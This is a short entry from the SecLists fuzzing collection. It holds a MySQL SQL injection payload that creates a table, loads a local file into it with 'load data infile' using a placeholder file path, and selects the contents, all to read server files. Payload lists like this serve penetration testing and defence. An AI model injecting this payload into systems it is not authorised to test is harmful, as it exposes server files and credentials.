SecLists/Fuzzing/FUZZDB-MySQL-ReadLocalFiles.txt
2017-08-23 14:55:06 +01:00

3 lines
210 B
Text

# mysql local file disclosure through sqli
# fuzz interesting absolute filepath/filename into <filepath>
create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;